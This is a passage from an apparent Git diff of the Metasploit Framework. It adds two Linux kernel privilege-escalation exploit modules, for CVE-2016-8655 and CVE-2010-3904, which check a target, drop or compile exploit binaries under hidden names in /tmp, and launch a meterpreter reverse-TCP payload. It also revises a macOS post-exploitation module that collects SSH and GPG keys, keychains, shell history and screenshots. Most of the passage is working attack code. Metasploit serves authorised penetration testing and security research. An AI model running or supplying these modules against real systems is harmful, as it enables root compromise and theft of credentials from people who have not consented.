versions 4.4.0-45-generic and 4.4.0-51-generic.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'rebel', # Discovery and chocobo_root.c exploit
|
||||
'Brendan Coles' # Metasploit
|
||||
],
|
||||
'DisclosureDate' => 'Aug 12 2016',
|
||||
'Platform' => [ 'linux' ],
|
||||
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
||||
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||
'Targets' => [[ 'Auto', {} ]],
|
||||
'Privileged' => true,
|
||||
'References' =>
|
||||
[
|
||||
[ 'AKA', 'chocobo_root.c' ],
|
||||
[ 'EDB', '40871' ],
|
||||
[ 'CVE', '2016-8655' ],
|
||||
[ 'BID', '94692' ],
|
||||
[ 'URL', 'http://seclists.org/oss-sec/2016/q4/607' ],
|
||||
[ 'URL', 'http://seclists.org/oss-sec/2016/q4/att-621/chocobo_root_c.bin' ],
|
||||
[ 'URL', 'https://github.com/bcoles/kernel-exploits/blob/master/CVE-2016-8655/chocobo_root.c' ],
|
||||
[ 'URL', 'https://bitbucket.org/externalist/1day_exploits/src/master/CVE-2016-8655/CVE-2016-8655_chocobo_root_commented.c' ],
|
||||
[ 'URL', 'https://usn.ubuntu.com/3151-1/' ],
|
||||
[ 'URL', 'https://www.securitytracker.com/id/1037403' ],
|
||||
[ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=84ac7260236a49c79eede91617700174c2c19b0c' ]
|
||||
],
|
||||
'DefaultTarget' => 0))
|
||||
register_options [
|
||||
OptInt.new('TIMEOUT', [ true, 'Race timeout (seconds)', '600' ]),
|
||||
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]),
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
|
||||
]
|
||||
end
|
||||
|
||||
def timeout
|
||||
datastore['TIMEOUT'].to_i
|
||||
end
|
||||
|
||||
def base_dir
|
||||
datastore['WritableDir'].to_s
|
||||
end
|
||||
|
||||
def upload(path, data)
|
||||
print_status "Writing '#{path}' (#{data.size} bytes) ..."
|
||||
rm_f path
|
||||
write_file path, data
|
||||
end
|
||||
|
||||
def upload_and_chmodx(path, data)
|
||||
upload path, data
|
||||
cmd_exec "chmod +x '#{path}'"
|
||||
end
|
||||
|
||||
def upload_and_compile(path, data)
|
||||
upload "#{path}.c", data
|
||||
|
||||
gcc_cmd = "gcc -o #{path} #{path}.c -lpthread"
|
||||
if session.type.eql? 'shell'
|
||||
gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"
|
||||
end
|
||||
output = cmd_exec gcc_cmd
|
||||
rm_f "#{path}.c"
|
||||
|
||||
unless output.blank?
|
||||
print_error output
|
||||
fail_with Failure::Unknown, "#{path}.c failed to compile"
|
||||
end
|
||||
|
||||
cmd_exec "chmod +x #{path}"
|
||||
end
|
||||
|
||||
def exploit_data(file)
|
||||
path = ::File.join Msf::Config.data_directory, 'exploits', 'CVE-2016-8655', file
|
||||
fd = ::File.open path, 'rb'
|
||||
data = fd.read fd.stat.size
|
||||
fd.close
|
||||
data
|
||||
end
|
||||
|
||||
def live_compile?
|
||||
return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')
|
||||
|
||||
if has_gcc?
|
||||
vprint_good 'gcc is installed'
|
||||
return true
|
||||
end
|
||||
|
||||
unless datastore['COMPILE'].eql? 'Auto'
|
||||
fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'
|
||||
end
|
||||
end
|
||||
|
||||
def check
|
||||
version = kernel_release
|
||||
unless version =~ /^4\.4\.0-(21|22|24|28|31|34|36|38|42|43|45|47|51)-generic/
|
||||
vprint_error "Linux kernel version #{version} is not vulnerable"
|
||||
return CheckCode::Safe
|
||||
end
|
||||
vprint_good "Linux kernel version #{version} is vulnerable"
|
||||
|
||||
arch = kernel_hardware
|
||||
unless arch.include? 'x86_64'
|
||||
vprint_error "System architecture #{arch} is not supported"
|
||||
return CheckCode::Safe
|
||||
end
|
||||
vprint_good "System architecture #{arch} is supported"
|
||||
|
||||
cores = get_cpu_info[:cores].to_i
|
||||
min_required_cores = 2
|
||||
unless cores >= min_required_cores
|
||||
vprint_error "System has less than #{min_required_cores} CPU cores"
|
||||
return CheckCode::Safe
|
||||
end
|
||||
vprint_good "System has #{cores} CPU cores"
|
||||
|
||||
unless userns_enabled?
|
||||
vprint_error 'Unprivileged user namespaces are not permitted'
|
||||
return CheckCode::Safe
|
||||
end
|
||||
vprint_good 'Unprivileged user namespaces are permitted'
|
||||
|
||||
CheckCode::Appears
|
||||
end
|
||||
|
||||
def exploit
|
||||
if check != CheckCode::Appears
|
||||
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
|
||||
end
|
||||
|
||||
if is_root?
|
||||
fail_with Failure::BadConfig, 'Session already has root privileges'
|
||||
end
|
||||
|
||||
unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true'
|
||||
fail_with Failure::BadConfig, "#{base_dir} is not writable"
|
||||
end
|
||||
|
||||
# Upload exploit executable
|
||||
executable_name = ".#{rand_text_alphanumeric rand(5..10)}"
|
||||
executable_path = "#{base_dir}/#{executable_name}"
|
||||
if live_compile?
|
||||
vprint_status 'Live compiling exploit on system...'
|
||||
upload_and_compile executable_path, exploit_data('chocobo_root.c')
|
||||
else
|
||||
vprint_status 'Dropping pre-compiled exploit on system...'
|
||||
upload_and_chmodx executable_path, exploit_data('chocobo_root')
|
||||
end
|
||||
|
||||
# Upload payload executable
|
||||
payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}"
|
||||
upload_and_chmodx payload_path, generate_payload_exe
|
||||
|
||||
# Launch exploit
|
||||
print_status "Launching exploit (Timeout: #{timeout})..."
|
||||
output = cmd_exec "echo '#{payload_path} & exit' | #{executable_path}", nil, timeout
|
||||
output.each_line { |line| vprint_status line.chomp }
|
||||
print_status "Cleaning up #{payload_path} and #{executable_path}.."
|
||||
rm_f executable_path
|
||||
rm_f payload_path
|
||||
end
|
||||
end
|
|
@ -0,0 +1,187 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = GreatRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Linux::Priv
|
||||
include Msf::Post::Linux::System
|
||||
include Msf::Post::Linux::Kernel
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Reliable Datagram Sockets (RDS) Privilege Escalation',
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability in the rds_page_copy_user function
|
||||
in net/rds/page.c (RDS) in Linux kernel versions 2.6.30 to 2.6.36-rc8
|
||||
to execute code as root (CVE-2010-3904).
|
||||
|
||||
This module has been tested successfully on Fedora 13 (i686) with
|
||||
kernel version 2.6.33.3-85.fc13.i686.PAE and Ubuntu 10.04 (x86_64)
|
||||
with kernel version 2.6.32-21-generic.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Dan Rosenberg', # Discovery and C exploit
|
||||
'Brendan Coles' # Metasploit
|
||||
],
|
||||
'DisclosureDate' => 'Oct 20 2010',
|
||||
'Platform' => [ 'linux' ],
|
||||
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
||||
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||
'Targets' => [[ 'Auto', {} ]],
|
||||
'Privileged' => true,
|
||||
'References' =>
|
||||
[
|
||||
[ 'AKA', 'rds-fail.c' ],
|
||||
[ 'EDB', '15285' ],
|
||||
[ 'CVE', '2010-3904' ],
|
||||
[ 'BID', '44219' ],
|
||||
[ 'URL', 'https://securitytracker.com/id?1024613' ],
|
||||
[ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=799c10559d60f159ab2232203f222f18fa3c4a5f' ],
|
||||
[ 'URL', 'http://vulnfactory.org/exploits/rds-fail.c' ],
|
||||
[ 'URL', 'http://web.archive.org/web/20101020044047/http://www.vsecurity.com/resources/advisory/20101019-1/' ],
|
||||
[ 'URL', 'http://web.archive.org/web/20101020044048/http://www.vsecurity.com/download/tools/linux-rds-exploit.c' ],
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp',
|
||||
'WfsDelay' => 10,
|
||||
'PrependFork' => true
|
||||
},
|
||||
'DefaultTarget' => 0))
|
||||
register_options [
|
||||
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]),
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
|
||||
]
|
||||
end
|
||||
|
||||
def base_dir
|
||||
datastore['WritableDir'].to_s
|
||||
end
|
||||
|
||||
def modules_disabled?
|
||||
modules_disabled = cmd_exec('cat /proc/sys/kernel/modules_disabled').to_s.strip
|
||||
(modules_disabled.eql?('1') || modules_disabled.eql?('2'))
|
||||
end
|
||||
|
||||
def upload(path, data)
|
||||
print_status "Writing '#{path}' (#{data.size} bytes) ..."
|
||||
rm_f path
|
||||
write_file path, data
|
||||
register_file_for_cleanup path
|
||||
end
|
||||
|
||||
def upload_and_chmodx(path, data)
|
||||
upload path, data
|
||||
cmd_exec "chmod +x '#{path}'"
|
||||
end
|
||||
|
||||
def upload_and_compile(path, data)
|
||||
upload "#{path}.c", data
|
||||
output = cmd_exec "gcc -o #{path} #{path}.c"
|
||||
|
||||
unless output.blank?
|
||||
print_error output
|
||||
fail_with Failure::Unknown, "#{path}.c failed to compile"
|
||||
end
|
||||
|
||||
cmd_exec "chmod +x #{path}"
|
||||
register_file_for_cleanup path
|
||||
end
|
||||
|
||||
def exploit_data(file)
|
||||
path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2010-3904', file
|
||||
fd = ::File.open path, 'rb'
|
||||
data = fd.read fd.stat.size
|
||||
fd.close
|
||||
data
|
||||
end
|
||||
|
||||
def live_compile?
|
||||
return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')
|
||||
|
||||
if has_gcc?
|
||||
vprint_good 'gcc is installed'
|
||||
return true
|
||||
end
|
||||
|
||||
unless datastore['COMPILE'].eql? 'Auto'
|
||||
fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'
|
||||
end
|
||||
end
|
||||
|
||||
def check
|
||||
version = kernel_release
|
||||
unless Gem::Version.new(version.split('-').first) >= Gem::Version.new('2.6.30') &&
|
||||
Gem::Version.new(version.split('-').first) < Gem::Version.new('2.6.37')
|
||||
vprint_error "Linux kernel version #{version} is not vulnerable"
|
||||
return CheckCode::Safe
|
||||
end
|
||||
vprint_good "Linux kernel version #{version} appears to be vulnerable"
|
||||
|
||||
unless cmd_exec('/sbin/modinfo rds').to_s.include? 'Reliable Datagram Sockets'
|
||||
vprint_error 'RDS kernel module is not available'
|
||||
return CheckCode::Safe
|
||||
end
|
||||
vprint_good 'RDS kernel module is available'
|
||||
|
||||
if modules_disabled?
|
||||
unless cmd_exec('/sbin/lsmod').to_s.include? 'rds'
|
||||
vprint_error 'RDS kernel module is not loadable'
|
||||
return CheckCode::Safe
|
||||
end
|
||||
end
|
||||
vprint_good 'RDS kernel module is loadable'
|
||||
|
||||
CheckCode::Appears
|
||||
end
|
||||
|
||||
def exploit
|
||||
unless check == CheckCode::Appears
|
||||
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
|
||||
end
|
||||
|
||||
if is_root?
|
||||
fail_with Failure::BadConfig, 'Session already has root privileges'
|
||||
end
|
||||
|
||||
unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true'
|
||||
fail_with Failure::BadConfig, "#{base_dir} is not writable"
|
||||
end
|
||||
|
||||
# Upload exploit executable
|
||||
executable_name = ".#{rand_text_alphanumeric rand(5..10)}"
|
||||
executable_path = "#{base_dir}/#{executable_name}"
|
||||
if live_compile?
|
||||
vprint_status 'Live compiling exploit on system...'
|
||||
upload_and_compile executable_path, exploit_data('rds-fail.c')
|
||||
else
|
||||
vprint_status 'Dropping pre-compiled exploit on system...'
|
||||
arch = kernel_hardware
|
||||
case arch
|
||||
when /amd64|ia64|x86_64|x64/i
|
||||
upload_and_chmodx executable_path, exploit_data('rds-fail.x64')
|
||||
when /x86|i[3456]86/
|
||||
upload_and_chmodx executable_path, exploit_data('rds-fail.x86')
|
||||
else
|
||||
fail_with Failure::NoTarget, "No pre-compiled binaries are available for system architecture: #{arch}"
|
||||
end
|
||||
end
|
||||
|
||||
# Upload payload executable
|
||||
payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}"
|
||||
upload_and_chmodx payload_path, generate_payload_exe
|
||||
|
||||
# Launch exploit
|
||||
print_status 'Launching exploit...'
|
||||
output = cmd_exec "#{executable_path} #{payload_path}"
|
||||
output.each_line { |line| vprint_status line.chomp }
|
||||
end
|
||||
end
|
|
@ -75,7 +75,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
cmd_exec("/bin/sh -c 'PAYLOAD_IN="+payload_file+" PAYLOAD_OUT="+root_file+" #{new_app}/Contents/MacOS/Directory\\ Utility'")
|
||||
|
||||
print_status("Deleting Directory Utility.app")
|
||||
cmd_exec('rm -Rf "#{new_app}"')
|
||||
cmd_exec("rm -Rf '#{new_app}'")
|
||||
|
||||
print_status('Executing payload...')
|
||||
cmd_exec("/bin/sh -c '#{root_file} &'")
|
||||
|
|
|
@ -30,7 +30,7 @@ class MetasploitModule < Msf::Post
|
|||
when /meterpreter/
|
||||
host = sysinfo["Computer"]
|
||||
when /shell/
|
||||
host = cmd_exec("hostname").chomp
|
||||
host = cmd_exec("hostname")
|
||||
end
|
||||
print_status("Running module against #{host}")
|
||||
running_root = check_root
|
||||
|
@ -84,7 +84,7 @@ class MetasploitModule < Msf::Post
|
|||
when /meterpreter/
|
||||
host = Rex::FileUtils.clean_path(sysinfo['Computer'])
|
||||
when /shell/
|
||||
host = Rex::FileUtils.clean_path(cmd_exec('hostname').chomp)
|
||||
host = Rex::FileUtils.clean_path(cmd_exec('hostname'))
|
||||
end
|
||||
|
||||
# Create Filename info to be appended to downloaded files
|
||||
|
@ -105,42 +105,19 @@ class MetasploitModule < Msf::Post
|
|||
# Checks if running as root on the target
|
||||
def check_root
|
||||
# Get only the account ID
|
||||
case session.type
|
||||
when /shell/
|
||||
id = cmd_exec("/usr/bin/id -ru").chomp
|
||||
when /meterpreter/
|
||||
id = cmd_exec("/usr/bin/id", "-ru").chomp
|
||||
end
|
||||
|
||||
if id == "0"
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
cmd_exec("/usr/bin/id", "-ru") == "0"
|
||||
end
|
||||
|
||||
# Checks if the target is OSX Server
|
||||
def check_server
|
||||
# Get the OS Name
|
||||
case session.type
|
||||
when /meterpreter/
|
||||
osx_ver = cmd_exec("/usr/bin/sw_vers", "-productName").chomp
|
||||
when /shell/
|
||||
osx_ver = cmd_exec("/usr/bin/sw_vers -productName").chomp
|
||||
end
|
||||
return osx_ver =~/Server/
|
||||
cmd_exec("/usr/bin/sw_vers", "-productName") =~/Server/
|
||||
end
|
||||
|
||||
# Enumerate the OS Version
|
||||
def get_ver
|
||||
# Get the OS Version
|
||||
case session.type
|
||||
when /meterpreter/
|
||||
osx_ver_num = cmd_exec('/usr/bin/sw_vers', '-productVersion').chomp
|
||||
when /shell/
|
||||
osx_ver_num = cmd_exec('/usr/bin/sw_vers -productVersion').chomp
|
||||
end
|
||||
return osx_ver_num
|
||||
cmd_exec('/usr/bin/sw_vers', '-productVersion')
|
||||
end
|
||||
|
||||
def enum_conf(log_folder)
|
||||
|
@ -176,35 +153,18 @@ class MetasploitModule < Msf::Post
|
|||
# Enumerate first using System Profiler
|
||||
profile_datatypes.each do |name, profile_datatypes|
|
||||
print_status("\tEnumerating #{name}")
|
||||
# Run commands according to the session type
|
||||
if session.type =~ /meterpreter/
|
||||
returned_data = cmd_exec('system_profiler', profile_datatypes)
|
||||
# Save data lo log folder
|
||||
file_local_write(log_folder+"//#{name}.txt",returned_data)
|
||||
elsif session.type =~ /shell/
|
||||
begin
|
||||
returned_data = cmd_exec("/usr/sbin/system_profiler #{profile_datatypes}")
|
||||
# Save data lo log folder
|
||||
file_local_write(log_folder+"//#{name}.txt",returned_data)
|
||||
rescue
|
||||
end
|
||||
end
|
||||
returned_data = cmd_exec("/usr/sbin/system_profiler #{profile_datatypes}")
|
||||
# Save data lo log folder
|
||||
file_local_write(log_folder+"//#{name}.txt", returned_data)
|
||||
end
|
||||
|
||||
# Enumerate using system commands
|
||||
shell_commands.each do |name, command|
|
||||
print_status("\tEnumerating #{name}")
|
||||
# Run commands according to the session type
|
||||
command_output = cmd_exec(command[0],command[1])
|
||||
# Save data lo log folder
|
||||
begin
|
||||
if session.type =~ /meterpreter/
|
||||
command_output = cmd_exec(command[0],command[1])
|
||||
# Save data lo log folder
|
||||
file_local_write(log_folder+"//#{name}.txt",command_output)
|
||||
elsif session.type =~ /shell/
|
||||
command_output = cmd_exec(command[0], command[1])
|
||||
# Save data lo log folder
|
||||
file_local_write(log_folder+"//#{name}.txt",command_output)
|
||||
end
|
||||
file_local_write(log_folder+"//#{name}.txt",command_output)
|
||||
rescue
|
||||
print_error("failed to run #{name}")
|
||||
end
|
||||
|
@ -231,22 +191,9 @@ class MetasploitModule < Msf::Post
|
|||
end
|
||||
shell_commands.each do |name, command|
|
||||
print_status("\tEnumerating #{name}")
|
||||
|
||||
# Run commands according to the session type
|
||||
if session.type =~ /meterpreter/
|
||||
|
||||
command_output = cmd_exec(command[0], command[1])
|
||||
|
||||
# Save data lo log folder
|
||||
file_local_write(log_folder+"//#{name}.txt", command_output)
|
||||
|
||||
elsif session.type =~ /shell/
|
||||
|
||||
command_output = cmd_exec(command.join(' '))
|
||||
|
||||
# Save data lo log folder
|
||||
file_local_write(log_folder + "//#{name}.txt", command_output)
|
||||
end
|
||||
command_output = cmd_exec(command[0], command[1])
|
||||
# Save data lo log folder
|
||||
file_local_write(log_folder+"//#{name}.txt", command_output)
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -260,12 +207,12 @@ class MetasploitModule < Msf::Post
|
|||
if not check_root
|
||||
|
||||
# Enumerate the home folder content
|
||||
home_folder_list = cmd_exec("/bin/ls -ma ~/").chomp.split(", ")
|
||||
home_folder_list = cmd_exec("/bin/ls -ma ~/").split(", ")
|
||||
|
||||
# Check for SSH folder and extract keys if found
|
||||
if home_folder_list.include?("\.ssh")
|
||||
print_status(".ssh Folder is present")
|
||||
ssh_folder = cmd_exec("/bin/ls -ma ~/.ssh").chomp.split(", ")
|
||||
ssh_folder = cmd_exec("/bin/ls -ma ~/.ssh").split(", ")
|
||||
ssh_folder.each do |k|
|
||||
next if k =~/^\.$|^\.\.$/
|
||||
print_status("\tDownloading #{k.strip}")
|
||||
|
@ -279,7 +226,7 @@ class MetasploitModule < Msf::Post
|
|||
# Check for GPG and extract keys if found
|
||||
if home_folder_list.include?("\.gnupg")
|
||||
print_status(".gnupg Folder is present")
|
||||
gnugpg_folder = cmd_exec("/bin/ls -ma ~/.gnupg").chomp.split(", ")
|
||||
gnugpg_folder = cmd_exec("/bin/ls -ma ~/.gnupg").split(", ")
|
||||
gnugpg_folder.each do |k|
|
||||
next if k =~/^\.$|^\.\.$/
|
||||
print_status("\tDownloading #{k.strip}")
|
||||
|
@ -291,22 +238,17 @@ class MetasploitModule < Msf::Post
|
|||
end
|
||||
else
|
||||
users = []
|
||||
case session.type
|
||||
when /meterpreter/
|
||||
users_folder = cmd_exec("/bin/ls","/Users")
|
||||
when /shell/
|
||||
users_folder = cmd_exec("/bin/ls /Users")
|
||||
end
|
||||
users_folder = cmd_exec("/bin/ls","/Users")
|
||||
users_folder.each_line do |u|
|
||||
next if u.chomp =~ /Shared|\.localized/
|
||||
users << u.chomp
|
||||
end
|
||||
|
||||
users.each do |u|
|
||||
user_folder = cmd_exec("/bin/ls -ma /Users/#{u}/").chomp.split(", ")
|
||||
user_folder = cmd_exec("/bin/ls -ma /Users/#{u}/").split(", ")
|
||||
if user_folder.include?("\.ssh")
|
||||
print_status(".ssh Folder is present for #{u}")
|
||||
ssh_folder = cmd_exec("/bin/ls -ma /Users/#{u}/.ssh").chomp.split(", ")
|
||||
ssh_folder = cmd_exec("/bin/ls -ma /Users/#{u}/.ssh").split(", ")
|
||||
ssh_folder.each do |k|
|
||||
next if k =~/^\.$|^\.\.$/
|
||||
print_status("\tDownloading #{k.strip}")
|
||||
|
@ -320,10 +262,10 @@ class MetasploitModule < Msf::Post
|
|||
|
||||
|
||||
users.each do |u|
|
||||
user_folder = cmd_exec("/bin/ls -ma /Users/#{u}/").chomp.split(", ")
|
||||
user_folder = cmd_exec("/bin/ls -ma /Users/#{u}/").split(", ")
|
||||
if user_folder.include?("\.ssh")
|
||||
print_status(".gnupg Folder is present for #{u}")
|
||||
ssh_folder = cmd_exec("/bin/ls -ma /Users/#{u}/.gnupg").chomp.split(", ")
|
||||
ssh_folder = cmd_exec("/bin/ls -ma /Users/#{u}/.gnupg").split(", ")
|
||||
ssh_folder.each do |k|
|
||||
next if k =~/^\.$|^\.\.$/
|
||||
print_status("\tDownloading #{k.strip}")
|
||||
|
@ -356,13 +298,10 @@ class MetasploitModule < Msf::Post
|
|||
end
|
||||
end
|
||||
else
|
||||
# Run commands according to the session type
|
||||
if session.type =~ /shell/
|
||||
cmd_exec("/usr/sbin/screencapture -x /tmp/#{picture_name}.jpg")
|
||||
file_local_write(log_folder+"//screenshot.jpg",
|
||||
cmd_exec("/bin/cat /tmp/#{picture_name}.jpg"))
|
||||
cmd_exec("/usr/bin/srm -m -z /tmp/#{picture_name}.jpg")
|
||||
end
|
||||
cmd_exec("/usr/sbin/screencapture", "-x /tmp/#{picture_name}.jpg")
|
||||
file_local_write(log_folder+"//screenshot.jpg",
|
||||
cmd_exec("/bin/cat /tmp/#{picture_name}.jpg"))
|
||||
cmd_exec("/usr/bin/srm", "-m -z /tmp/#{picture_name}.jpg")
|
||||
end
|
||||
print_status("Screenshot Captured")
|
||||
end
|
||||
|
@ -370,16 +309,9 @@ class MetasploitModule < Msf::Post
|
|||
|
||||
def dump_bash_history(log_folder)
|
||||
print_status("Extracting history files")
|
||||
# Run commands according to the session type
|
||||
users = []
|
||||
case session.type
|
||||
when /meterpreter/
|
||||
users_folder = cmd_exec("/bin/ls","/Users").chomp
|
||||
current_user = cmd_exec("/usr/bin/id","-nu").chomp
|
||||
when /shell/
|
||||
users_folder = cmd_exec("/bin/ls /Users").chomp
|
||||
current_user = cmd_exec("/usr/bin/id -nu").chomp
|
||||
end
|
||||
users_folder = cmd_exec("/bin/ls","/Users")
|
||||
current_user = cmd_exec("/usr/bin/id","-nu")
|
||||
users_folder.each_line do |u|
|
||||
next if u.chomp =~ /Shared|\.localized/
|
||||
users << u.chomp
|
||||
|
@ -389,7 +321,7 @@ class MetasploitModule < Msf::Post
|
|||
if current_user == "root"
|
||||
|
||||
# Check the root user folder
|
||||
root_folder = cmd_exec("/bin/ls -ma ~/").chomp.split(", ")
|
||||
root_folder = cmd_exec("/bin/ls -ma ~/").split(", ")
|
||||
root_folder.each do |f|
|
||||
if f =~ /\.\w*\_history/
|
||||
print_status("\tHistory file #{f.strip} found for root")
|
||||
|
@ -405,7 +337,7 @@ class MetasploitModule < Msf::Post
|
|||
users.each do |u|
|
||||
|
||||
# Lets get a list of all the files on the users folder and place them in an array
|
||||
user_folder = cmd_exec("/bin/ls -ma /Users/#{u}/").chomp.split(", ")
|
||||
user_folder = cmd_exec("/bin/ls -ma /Users/#{u}/").split(", ")
|
||||
user_folder.each do |f|
|
||||
if f =~ /\.\w*\_history/
|
||||
print_status("\tHistory file #{f.strip} found for #{u}")
|
||||
|
@ -419,7 +351,7 @@ class MetasploitModule < Msf::Post
|
|||
end
|
||||
|
||||
else
|
||||
current_user_folder = cmd_exec("/bin/ls -ma ~/").chomp.split(", ")
|
||||
current_user_folder = cmd_exec("/bin/ls -ma ~/").split(", ")
|
||||
current_user_folder.each do |f|
|
||||
if f =~ /\.\w*\_history/
|
||||
print_status("\tHistory file #{f.strip} found for #{current_user}")
|
||||
|
@ -436,12 +368,7 @@ class MetasploitModule < Msf::Post
|
|||
# Download configured Keychains
|
||||
def get_keychains(log_folder)
|
||||
users = []
|
||||
case session.type
|
||||
when /meterpreter/
|
||||
users_folder = cmd_exec("/bin/ls","/Users").chomp
|
||||
when /shell/
|
||||
users_folder = cmd_exec("/bin/ls /Users").chomp
|
||||
end
|
||||
users_folder = cmd_exec("/bin/ls","/Users")
|
||||
users_folder.each_line do |u|
|
||||
next if u.chomp =~ /Shared|\.localized/
|
||||
users << u.chomp
|
||||
|
@ -459,7 +386,7 @@ class MetasploitModule < Msf::Post
|
|||
end
|
||||
end
|
||||
else
|
||||
current_user = cmd_exec("/usr/bin/id -nu").chomp
|
||||
current_user = cmd_exec("/usr/bin/id -nu")
|
||||
print_status("Enumerating and Downloading keychains for #{current_user}")
|
||||
keychain_files = cmd_exec("usr/bin/security list-keychains").split("\n")
|
||||
keychain_files.each do |k|
|
||||
|
|
|
@ -39,7 +39,7 @@ class MetasploitModule < Msf::Post
|
|||
admin = is_admin? ? 'True' : 'False'
|
||||
admin_group = is_in_admin_group? ? 'True' : 'False'
|
||||
sys = is_system? ? 'True' : 'False'
|
||||
uid = client.sys.config.getuid.inspect
|
||||
uid = client.sys.config.getuid
|
||||
begin
|
||||
# Older OS might not have this (min support is XP)
|
||||
fid = client.railgun.kernel32.WTSGetActiveConsoleSessionId["return"]
|
||||
|
|
|
@ -14,7 +14,7 @@ module Msf
|
|||
end
|
||||
|
||||
def desc
|
||||
"Nessus Bridge for Metasploit"
|
||||
PLUGIN_DESCRIPTION
|
||||
end
|
||||
|
||||
class ConsoleCommandDispatcher
|
||||
|
@ -1062,7 +1062,7 @@ module Msf
|
|||
return
|
||||
end
|
||||
targets = ""
|
||||
framework.db.hosts(framework.db.workspace).each do |host|
|
||||
framework.db.hosts.each do |host|
|
||||
targets << host.address
|
||||
targets << ","
|
||||
end
|
||||
|
|
|
@ -6,7 +6,6 @@ RSpec.shared_examples_for 'Msf::DBManager::Host' do
|
|||
it { is_expected.to respond_to :has_host? }
|
||||
end
|
||||
|
||||
|
||||
it { is_expected.to respond_to :find_or_create_host }
|
||||
it { is_expected.to respond_to :get_host }
|
||||
it { is_expected.to respond_to :hosts }
|
||||
|
|
|
@ -1,10 +1,9 @@
|
|||
RSpec.shared_examples_for 'Msf::DBManager::Note' do
|
||||
|
||||
if ENV['REMOTE_DB']
|
||||
before {skip("Awaiting port")}
|
||||
unless ENV['REMOTE_DB']
|
||||
it { is_expected.to respond_to :each_note }
|
||||
end
|
||||
|
||||
it { is_expected.to respond_to :each_note }
|
||||
it { is_expected.to respond_to :find_or_create_note }
|
||||
it { is_expected.to respond_to :notes }
|
||||
it { is_expected.to respond_to :report_note }
|
||||
|
|
|
@ -1,12 +1,12 @@
|
|||
RSpec.shared_examples_for 'Msf::DBManager::Service' do
|
||||
it { is_expected.to respond_to :delete_service }
|
||||
|
||||
unless ENV['REMOTE_DB']
|
||||
it { is_expected.to respond_to :delete_service }
|
||||
it { is_expected.to respond_to :each_service }
|
||||
it { is_expected.to respond_to :find_or_create_service }
|
||||
it { is_expected.to respond_to :get_service }
|
||||
end
|
||||
|
||||
it { is_expected.to respond_to :report_service }
|
||||
it { is_expected.to respond_to :find_or_create_service }
|
||||
it { is_expected.to respond_to :services }
|
||||
it { is_expected.to respond_to :report_service }
|
||||
end
|
Loading…
Reference in New Issue